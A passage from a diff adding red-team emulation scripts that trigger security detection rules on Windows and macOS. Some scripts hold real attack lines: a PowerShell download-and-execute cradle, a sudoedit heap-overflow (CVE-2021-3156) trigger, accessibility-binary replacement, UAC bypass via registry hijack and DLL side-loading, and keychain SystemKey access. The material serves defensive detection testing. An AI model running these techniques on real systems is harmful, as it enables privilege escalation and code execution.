file_name="/tmp/~$test.zip") + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sqlite_db_evasion.py b/rta/sqlite_db_evasion.py new file mode 100644 index 000000000..edbe2db9f --- /dev/null +++ b/rta/sqlite_db_evasion.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="abd56d74-6538-456e-bd2a-42f08d1bac3c", + platforms=["macos"], + endpoint=[ + { + "rule_name": "Reading or Modifying Downloaded Files Database via SQLite Utility", + "rule_id": "b8fb52cd-5f06-4519-921d-bd1b363dc01b", + } + ], + siem=[], + techniques=[], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sqlite3" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake sqlite3 commands") + common.execute([masquerade, "test LSQuarantinetest"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/ssh_bruteforce.py b/rta/ssh_bruteforce.py new file mode 100644 index 000000000..d9b23d16f --- /dev/null +++ b/rta/ssh_bruteforce.py @@ -0,0 +1,58 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +from multiprocessing import Process + + +metadata = RtaMetadata( + uuid="61369084-af6a-4fd0-903f-b44467f5d6e7", + platforms=["macos"], + endpoint=[], + siem=[{"rule_name": "Potential SSH Brute Force Detected", "rule_id": "ace1e989-a541-44df-93a8-a8b0591b63c0"}], + techniques=["T1110"], +) + + +def test(masquerade, masquerade2): + common.execute([masquerade2, "childprocess", masquerade], timeout=0.3, kill=True) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sshd-keygen-wrapper" + masquerade2 = "/tmp/launchd" + common.create_macos_masquerade(masquerade) + common.create_macos_masquerade(masquerade2) + + # Execute command + common.log("Launching fake ssh keygen commands to mimic ssh bruteforce") + processes = [] + + for i in range(25): + p = Process( + target=test, + args=( + masquerade, + masquerade2, + ), + ) + processes.append(p) + + for i in processes: + i.start() + + for i in processes: + i.join() + + # cleanup + common.remove_file(masquerade) + common.remove_file(masquerade2) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/sticky_keys_write_execute.py b/rta/sticky_keys_write_execute.py index f64b02376..d80540c1e 100644 --- a/rta/sticky_keys_write_execute.py +++ b/rta/sticky_keys_write_execute.py @@ -15,12 +15,39 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="398933ec-f8d4-4d81-93ed-e7d7adcb9d97", + platforms=["windows"], + endpoint=[], + siem=[ + { + "rule_id": "7405ddf1-6c8e-41ce-818f-48bea6bcaed8", + "rule_name": "Potential Modification of Accessibility Binaries", + }, + { + "rule_id": "68921d85-d0dc-48b3-865f-43291ca2c4f2", + "rule_name": "Persistence via TelemetryController Scheduled Task Hijack", + }, + ], + techniques=["T1546", "T1053"], +) + + +@common.requires_os(metadata.platforms) def main(): # Prep - bins = ["sethc.exe", "utilman.exe", "narrator.exe", "magnify.exe", "osk.exe", "displayswitch.exe", "atbroker.exe"] + bins = [ + "sethc.exe", + "utilman.exe", + "narrator.exe", + "magnify.exe", + "osk.exe", + "displayswitch.exe", + "atbroker.exe", + ] calc = os.path.abspath("\\windows\\system32\\calc.exe") temp = os.path.abspath("temp.exe") diff --git a/rta/sudo_exploit.py b/rta/sudo_exploit.py new file mode 100644 index 000000000..3dcd7349e --- /dev/null +++ b/rta/sudo_exploit.py @@ -0,0 +1,41 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="da35cb80-dad9-4995-ac11-6a408843cd12", + platforms=["linux", "macos"], + endpoint=[ + {"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "95718a3c-edc7-46ef-978b-77891ca6198f"} + ], + siem=[{"rule_name": "Sudo Heap-Based Buffer Overflow Attempt", "rule_id": "f37f3054-d40b-49ac-aa9b-a786c74c58b8"}], + techniques=["T1068", "T1059"], +) + + +@common.requires_os(metadata.platforms) +def main(): + common.log( + "Executing command to simulate attempted use of a heap-based buffer overflow vulnerability for the " + "Sudo binary in Unix-like systems(CVE-2021-3156)" + ) + # The exploit reproduction is available + # https://www.sudo.ws/security/advisories/unescape_overflow/ + # https://blog.aquasec.com/cve-2021-3156-sudo-vulnerability-allows-root-privileges + + if common.CURRENT_OS == "macos": + masquerade = "/tmp/sudo" + common.create_macos_masquerade(masquerade) + common.execute([masquerade, "-s", "sudoedit", "*\\\\"], timeout=10, kill=True) + else: + cmd = """sudoedit -s '\\' `perl -e 'print "A" x 65536'`""" + common.execute(f'bash -c "{cmd}"', shell=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/susp_scheduled_task_creation.py b/rta/susp_scheduled_task_creation.py new file mode 100644 index 000000000..9f7159b0f --- /dev/null +++ b/rta/susp_scheduled_task_creation.py @@ -0,0 +1,38 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="0a766d3c-baee-4bc2-8997-e4e450f77253", + platforms=["windows"], + endpoint=[ + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + {"rule_name": "Regsvr32 with Unusual Arguments", "rule_id": "5db08297-bf72-49f4-b426-f405c2b01326"}, + {"rule_name": "Suspicious Scheduled Task Creation", "rule_id": "beebd95c-93f4-46d2-a902-053bfe78686b"}, + ], + siem=[], + techniques=["T1218", "T1053", "T1036", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + regsvr32 = "C:\\Users\\Public\\regsvr32.exe" + common.copy_file(EXE_FILE, regsvr32) + + cmd = "schtasks.exe /create /tr C:\\Users\\Public\\ /mo minute" + # Execute command + common.execute([regsvr32, "/c", cmd], timeout=10) + common.remove_file(regsvr32) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/susp_script_file_name.py b/rta/susp_script_file_name.py new file mode 100644 index 000000000..1f3322797 --- /dev/null +++ b/rta/susp_script_file_name.py @@ -0,0 +1,51 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="84579cd0-2b30-4846-9b4e-9663ae2c400a", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Windows Script File Name", "rule_id": "8c69476a-d8ea-46da-8052-6a4f9254125c"}, + {"rule_name": "Execution from Unusual Directory", "rule_id": "16c84e67-e5e7-44ff-aefa-4d771bcafc0c"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "Script Execution via Microsoft HTML Application", + "rule_id": "f0630213-c4c4-4898-9514-746395eb9962", + }, + ], + siem=[], + techniques=["T1036", "T1218", "T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +RENAMER = common.get_path("bin", "rcedit-x64.exe") + + +@common.requires_os(metadata.platforms) +def main(): + mshta = "C:\\Users\\Public\\mshta.exe" + rcedit = "C:\\Users\\Public\\rcedit.exe" + + common.copy_file(RENAMER, rcedit) + common.copy_file(EXE_FILE, mshta) + + cmd = "ls ~\\Downloads\\*.pdf.js" + # Execute command + common.log("Modifying the OriginalFileName attribute") + common.execute( + [rcedit, mshta, "--set-version-string", "OriginalFileName", "mshta.exe"], + timeout=10, + ) + common.execute([mshta, "/c", cmd], timeout=5, kill=True) + + common.remove_files(mshta, rcedit) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_dll_registration_regsvr32.py b/rta/suspicious_dll_registration_regsvr32.py index 3dde49aff..012e635c8 100644 --- a/rta/suspicious_dll_registration_regsvr32.py +++ b/rta/suspicious_dll_registration_regsvr32.py @@ -9,9 +9,13 @@ # Description: Pretends to register DLL without traditional DLL extension using RegSvr32 from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata(uuid="cda5b0b4-5b9c-4285-8adc-f89b375e5485", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + + +@common.requires_os(metadata.platforms) def main(): common.log("Suspicious DLL Registration by Regsvr32") diff --git a/rta/suspicious_office_child.py b/rta/suspicious_office_child.py new file mode 100644 index 000000000..7d3053828 --- /dev/null +++ b/rta/suspicious_office_child.py @@ -0,0 +1,35 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="c798f63a-f8be-459a-bb75-407e97f55faa", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Microsoft Office Child Process", "rule_id": "c34a9dca-66cf-4283-944d-1800b28ae690"} + ], + siem=[], + techniques=["T1566"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) +def main(): + binary = "winword.exe" + common.copy_file(EXE_FILE, binary) + + # Execute command + common.execute([binary, "/c", "certutil.exe"], timeout=5, kill=True) + + common.remove_files(binary) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/suspicious_office_children.py b/rta/suspicious_office_children.py index aae249c38..ed79ac0aa 100644 --- a/rta/suspicious_office_children.py +++ b/rta/suspicious_office_children.py @@ -12,10 +12,20 @@ import os from . import common +from . import RtaMetadata from . import mshta_network -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="cd8e06c0-fc62-4932-8ef7-b767570e88eb", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): mshta_path = os.path.abspath(mshta_network.__file__.replace(".pyc", ".py")) diff --git a/rta/suspicious_office_descendant_fp.py b/rta/suspicious_office_descendant_fp.py index f95a84a51..6c1d902fe 100644 --- a/rta/suspicious_office_descendant_fp.py +++ b/rta/suspicious_office_descendant_fp.py @@ -12,9 +12,19 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="e6d124ee-27d3-48a6-8c59-354072ec9e00", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): common.log("MS Office unusual child process emulation") suspicious_apps = [ @@ -33,14 +43,18 @@ def main(): common.copy_file(cmd_path, office_path) for command in suspicious_apps: - common.execute('%s /c %s /c %s' % (office_path, browser_path, command), timeout=5, kill=True) + common.execute( + "%s /c %s /c %s" % (office_path, browser_path, command), + timeout=5, + kill=True, + ) - common.log('Cleanup %s' % office_path) + common.log("Cleanup %s" % office_path) common.remove_file(office_path) common.log("Sleep 5 to allow processes to finish") time.sleep(5) - common.log('Cleanup %s' % browser_path) + common.log("Cleanup %s" % browser_path) common.remove_file(browser_path) diff --git a/rta/suspicious_powershell_download.py b/rta/suspicious_powershell_download.py index f0471a4f3..61c26b059 100644 --- a/rta/suspicious_powershell_download.py +++ b/rta/suspicious_powershell_download.py @@ -3,39 +3,48 @@ # 2.0; you may not use this file except in compliance with the Elastic License # 2.0. -# Name: Suspicious PowerShell Download -# RTA: suspicious_powershell_download.py -# signal.rule.name: Suspicious MS Office Child Process -# ATT&CK: T1086 -# Description: PowerShell using DownloadString or DownloadFile in suspicious context - import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="20b96aa7-609e-473f-ac35-5ac19d10f9a5", + platforms=["windows"], + endpoint=[ + { + "rule_name": "PowerShell Obfuscation Spawned via Microsoft Office", + "rule_id": "93ef8a09-0f8d-4aa1-b0fb-47d5d5b40cf2", + }, + {"rule_name": "Suspicious PowerShell Downloads", "rule_id": "7200673e-588c-45d5-be48-bc5c7a908d6b"}, + ], + siem=[], + techniques=["T1566", "T1059"], +) + +EXE_FILE = common.get_path("bin", "renamed.exe") + + +@common.requires_os(metadata.platforms) def main(): - cmd_path = "c:\\windows\\system32\\cmd.exe" server, ip, port = common.serve_web() - url = 'http://{}:{}/bad.ps1'.format(ip, port) + url = "http://{}:{}/bad.ps1".format(ip, port) - cmds = ["powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url), - "powershell -ep bypass -c (new-object net.webclient).downloadfile('{}', 'bad.exe')".format(url)] + cmd = "powershell -ep bypass -c iex(new-object net.webclient).downloadstring('{}')".format(url) - # emulate word and chrome - for user_app in ["winword.exe", "chrome.exe"]: - common.log("Emulating {}".format(user_app)) - user_app_path = os.path.abspath(user_app) - common.copy_file(cmd_path, user_app_path) + # Emulate Word + user_app = "winword.exe" + common.log("Emulating {}".format(user_app)) + user_app_path = os.path.abspath(user_app) + common.copy_file(EXE_FILE, user_app_path) - for cmd in cmds: - common.execute([user_app_path, "/c", cmd]) - time.sleep(2) + common.execute([user_app_path, "/c", cmd]) + time.sleep(2) - # cleanup - common.remove_file(user_app_path) + # Cleanup + common.remove_file(user_app_path) if __name__ == "__main__": diff --git a/rta/suspicious_wmic_script.py b/rta/suspicious_wmic_script.py index d743943f0..c8c3c6298 100644 --- a/rta/suspicious_wmic_script.py +++ b/rta/suspicious_wmic_script.py @@ -10,6 +10,17 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="16b3d9c6-e188-49c5-8dce-d3eb5b0fcf91", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "7f370d54-c0eb-4270-ac5a-9a6020585dc6", "rule_name": "Suspicious WMIC XSL Script Execution"}], + techniques=["T1220"], +) + xsl_file = "test.xsl" xsl_content = """ @@ -26,7 +37,7 @@ version="1.0"> """ -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) def main(): common.log("Executing suspicious WMIC script") diff --git a/rta/suspicious_wscript_parent.py b/rta/suspicious_wscript_parent.py index d8e7d7b41..78004bdcd 100644 --- a/rta/suspicious_wscript_parent.py +++ b/rta/suspicious_wscript_parent.py @@ -13,15 +13,28 @@ import os import time from . import common +from . import RtaMetadata -@common.requires_os(common.WINDOWS) +metadata = RtaMetadata( + uuid="a3cdd478-b817-4513-bb3d-897a5f92c836", + platforms=["windows"], + endpoint=[], + siem=[ + {"rule_id": "32f4675e-6c49-4ace-80f9-97c9259dca2e", "rule_name": "Suspicious MS Outlook Child Process"}, + {"rule_id": "a624863f-a70d-417f-a7d2-7a404638d47f", "rule_name": "Suspicious MS Office Child Process"}, + ], + techniques=["T1566"], +) + + +@common.requires_os(metadata.platforms) def main(): script_data = """ WScript.CreateObject("wscript.shell") """ script_path = ".\\hello.vbs" - with open(script_path, 'w') as f: + with open(script_path, "w") as f: f.write(script_data) cmd_path = "c:\\windows\\system32\\cmd.exe" @@ -34,14 +47,14 @@ def main(): common.execute([app_path, "/c", "wscript.exe", "script_path"], timeout=1, kill=True) common.log("Killing wscript window") - common.execute('taskkill /IM wscript.exe') + common.execute("taskkill /IM wscript.exe") - common.log('Cleanup %s' % app_path) + common.log("Cleanup %s" % app_path) common.remove_file(app_path) common.log("Sleep 5 to allow procecsses to finish") time.sleep(5) - common.log('Cleanup %s' % script_path) + common.log("Cleanup %s" % script_path) common.remove_file(script_path) diff --git a/rta/system_restore_process.py b/rta/system_restore_process.py index bdf523253..5f6c51104 100644 --- a/rta/system_restore_process.py +++ b/rta/system_restore_process.py @@ -11,11 +11,16 @@ import os from . import common +from . import RtaMetadata + + +metadata = RtaMetadata(uuid="0fcf5aeb-cebd-466d-8a2e-ddb710ec845d", platforms=["windows"], endpoint=[], siem=[], techniques=[]) + SYSTEM_RESTORE = "c:\\System Volume Information" -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(common.PS_EXEC) def main(): status = common.run_system() diff --git a/rta/systemkey_credential_access.py b/rta/systemkey_credential_access.py new file mode 100644 index 000000000..3e611916f --- /dev/null +++ b/rta/systemkey_credential_access.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="d950ef5f-8277-4ed8-a8dd-d2433e791cef", + platforms=["macos"], + endpoint=[ + {"rule_name": "Suspicious SystemKey Access via Command Line", "rule_id": "7d3f98bf-2111-4e5f-9787-9edef8d94dd0"} + ], + siem=[{"rule_name": "SystemKey Access via Command Line", "rule_id": "d75991f2-b989-419d-b797-ac1e54ec2d61"}], + techniques=["T1555"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/bash" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake commands to aquire keychain credentials") + common.execute([masquerade, "/private/var/db/SystemKey"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/systemsetup_ssh_enable.py b/rta/systemsetup_ssh_enable.py new file mode 100644 index 000000000..d973737f2 --- /dev/null +++ b/rta/systemsetup_ssh_enable.py @@ -0,0 +1,39 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="23997dfa-9e30-4091-9ee2-8bd45a2da70a", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Remote SSH Login Enabled via systemsetup Command", + "rule_id": "5ae4e6f8-d1bf-40fa-96ba-e29645e1e4dc", + } + ], + techniques=["T1021"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/systemsetup" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake systemsetup command to mimic enabling remote SSH.") + common.execute([masquerade, "-setremotelogin", "on"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/tcc_bypass_mounted_apfs.py b/rta/tcc_bypass_mounted_apfs.py new file mode 100644 index 000000000..3e7104c86 --- /dev/null +++ b/rta/tcc_bypass_mounted_apfs.py @@ -0,0 +1,36 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="4c8675a8-fbed-4f36-88e6-ffceaf82f426", + platforms=["macos"], + endpoint=[], + siem=[ + {"rule_name": "TCC Bypass via Mounted APFS Snapshot Access", "rule_id": "b00bcd89-000c-4425-b94c-716ef67762f6"} + ], + techniques=["T1006"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/mount_apfs" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake mount_apfs command to mount the APFS snapshot") + common.execute([masquerade, "/System/Volumes/Data", "noowners"], timeout=10, kill=True) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/tcc_modification.py b/rta/tcc_modification.py new file mode 100644 index 000000000..733d4c316 --- /dev/null +++ b/rta/tcc_modification.py @@ -0,0 +1,43 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="34cddcb3-bd49-4363-8092-677307abaa82", + platforms=["macos"], + endpoint=[], + siem=[ + { + "rule_name": "Potential Privacy Control Bypass via TCCDB Modification", + "rule_id": "eea82229-b002-470e-a9e1-00be38b14d32", + } + ], + techniques=["T1562"], +) + + +@common.requires_os(metadata.platforms) +def main(): + + masquerade = "/tmp/sqlite" + common.create_macos_masquerade(masquerade) + + # Execute command + common.log("Launching fake plistbuddy command to modify plist files") + common.execute( + [masquerade, "/test/Application Support/com.apple.TCC/TCC.db"], + timeout=10, + kill=True, + ) + + # cleanup + common.remove_file(masquerade) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/trust_provider.py b/rta/trust_provider.py index d7e51f130..8e7072d21 100644 --- a/rta/trust_provider.py +++ b/rta/trust_provider.py @@ -9,6 +9,17 @@ # Description: Substitutes an invalid code authentication policy, enabling trust policy bypass. from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="45541eb5-c636-477b-81c9-b6dcf184c9cc", + platforms=["windows"], + endpoint=[], + siem=[{"rule_id": "f2c7b914-eda3-40c2-96ac-d23ef91776ca", "rule_name": "SIP Provider Modification"}], + techniques=["T1553"], +) + FINAL_POLICY_KEY = "Software\\Microsoft\\Cryptography\\providers\\trust\\FinalPolicy\\{00AAC56B-CD44-11D0-8CC2-00C04FC295EE}" # noqa: E501 @@ -34,7 +45,7 @@ else: TARGET_APP = common.get_path("bin", "myapp.exe") -@common.requires_os(common.WINDOWS) +@common.requires_os(metadata.platforms) @common.dependencies(SIGCHECK, TRUST_PROVIDER_DLL, TARGET_APP) def main(): common.log("Trust Provider") diff --git a/rta/uac_cdssync.py b/rta/uac_cdssync.py new file mode 100644 index 000000000..5f3838524 --- /dev/null +++ b/rta/uac_cdssync.py @@ -0,0 +1,47 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata +import os + + +metadata = RtaMetadata( + uuid="7e9a94f4-46aa-45eb-b95b-53da7c01a033", + platforms=["windows"], + endpoint=[ + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via CDSSync Scheduled Task Hijack", + "rule_id": "d8b7a157-c98f-42bd-8aac-7d1e4fcd53f4", + }, + ], + siem=[], + techniques=["T1574", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") +PS1_FILE = common.get_path("bin", "Invoke-ImageLoad.ps1") + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + taskhostw = "C:\\Users\\Public\\taskhostw.exe" + path = "C:\\Users\\Public\\System32" + user32 = "C:\\Windows\\System32\\user32.dll" + dll = path + "\\npmproxy.dll" + os.makedirs(path, exist_ok=True) + common.copy_file(user32, dll) + common.copy_file(EXE_FILE, taskhostw) + + common.log("Spawning PowerShell from fake taskhostw") + common.execute([taskhostw, "/c", powershell], timeout=10, kill=True) + common.remove_files(dll, taskhostw) + os.removedirs(path) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_computerdefaults.py b/rta/uac_computerdefaults.py new file mode 100644 index 000000000..0cb837c59 --- /dev/null +++ b/rta/uac_computerdefaults.py @@ -0,0 +1,44 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="7cc740ff-2e6c-4740-9323-46dcbb4dbfbc", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via ComputerDefaults Execution Hijack", + "rule_id": "7c0048d5-356d-4f69-839e-10c1e194958f", + } + ], + siem=[], + techniques=["T1548"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + key = "Software\\Classes\\ms-settings\\shell\\open\\command" + value = "test" + data = "test" + + with common.temporary_reg(common.HKCU, key, value, data): + pass + + computerdefaults = "C:\\Users\\Public\\ComputerDefaults.exe" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, computerdefaults) + + common.execute([computerdefaults, "/c", powershell], timeout=2, kill=True) + common.remove_file(computerdefaults) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_dccw.py b/rta/uac_dccw.py new file mode 100644 index 000000000..947318123 --- /dev/null +++ b/rta/uac_dccw.py @@ -0,0 +1,49 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="cfb116f0-ad83-4d77-803f-064c2cfd93fe", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via DCCW DLL Search Order Hijacking", + "rule_id": "093bd845-b59f-4868-a7dd-62d48b737bf6", + }, + ], + siem=[], + techniques=["T1129", "T1548", "T1036", "T1055", "T1574"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dccw = "C:\\Users\\Public\\dccw.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpath = "C:\\Users\\Public\\dccw.exe.test" + dccwpathdll = "C:\\Users\\Public\\dccw.exe.test\\a.dll" + dccwpathdll2 = "C:\\Users\\Public\\dccw.exe.test\\b.dll" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.copy_file(EXE_FILE, dccw) + common.copy_file(EXE_FILE, dllhost) + + # Create Dir + common.execute([powershell, "/c", f"New-Item -Path {dccwpath} -Type Directory"], timeout=10) + common.copy_file(EXE_FILE, dccwpathdll) + common.execute([dllhost, "/c", f"Rename-Item {dccwpathdll} {dccwpathdll2}"], timeout=10) + common.execute([dccw, "/c", powershell], timeout=2, kill=True) + common.remove_files(dccw, dllhost, dccwpathdll2) + common.execute([powershell, "/c", f"rmdir {dccwpath} -Force"], timeout=3) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_diskcleanup.py b/rta/uac_diskcleanup.py new file mode 100644 index 000000000..f111397c2 --- /dev/null +++ b/rta/uac_diskcleanup.py @@ -0,0 +1,31 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="37b8d4d9-5acc-40c0-bc78-aba24a2c3f80", + platforms=["windows"], + endpoint=[ + { + "rule_name": "UAC Bypass via DiskCleanup Scheduled Task Hijack", + "rule_id": "d487049e-381d-44ad-9ec9-d23e88dbf573", + } + ], + siem=[], + techniques=["T1548"], +) + + +@common.requires_os(metadata.platforms) +def main(): + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + common.execute([powershell, "/autoclean", "/d"], timeout=2, kill=True) + + +if __name__ == "__main__": + exit(main()) diff --git a/rta/uac_dism_dll_side_loading.py b/rta/uac_dism_dll_side_loading.py new file mode 100644 index 000000000..6beab774a --- /dev/null +++ b/rta/uac_dism_dll_side_loading.py @@ -0,0 +1,45 @@ +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0; you may not use this file except in compliance with the Elastic License +# 2.0. + +from . import common +from . import RtaMetadata + + +metadata = RtaMetadata( + uuid="f5c31db1-a376-47b3-9ba3-a946408e2bbc", + platforms=["windows"], + endpoint=[ + {"rule_name": "Suspicious Parent-Child Relationship", "rule_id": "18a26e3e-e535-4d23-8ffa-a3cdba56d16e"}, + {"rule_name": "Binary Masquerading via Untrusted Path", "rule_id": "35dedf0c-8db6-4d70-b2dc-a133b808211f"}, + { + "rule_name": "UAC Bypass Attempt via DismCore DLL Side-Loading", + "rule_id": "38210b91-f593-4c1c-a582-e5309c5b5168", + }, + ], + siem=[], + techniques=["T1574", "T1055", "T1548", "T1036"], +) + +EXE_FILE = common.get_path("bin", "renamed_posh.exe") + + +@common.requires_os(metadata.platforms) +def main(): + dism = "C:\\Users\\Public\\Dism.exe" + dllhost = "C:\\Users\\Public\\dllhost.exe" + dccwpathdll = "C:\\Users\\Public\\a.dll" + dccwpathdll2 = "C:\\Users\\Public\\DismCore.dll" + powershell = "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" + 